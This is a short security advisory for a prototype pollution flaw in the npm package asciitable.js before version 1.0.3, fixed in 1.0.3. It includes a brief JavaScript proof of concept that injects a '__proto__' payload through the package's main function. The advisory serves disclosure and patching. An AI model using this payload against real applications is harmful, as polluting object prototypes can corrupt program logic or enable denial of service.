GHSA-5pxj-mhwj-x5gv
Prototype Pollution in asciitable.js
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | asciitable.js | < 1.0.3 | 1.0.3 |
Details
As written in the advisory (Markdown source, shown as plain text).
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.
### PoC
```js
var a = require("asciitable.js");
var b = JSON.parse('{"__proto__":{"test":123}}');
a({},b);
console.log({}.test)
```
References
External links from the advisory. They lead to third-party sites.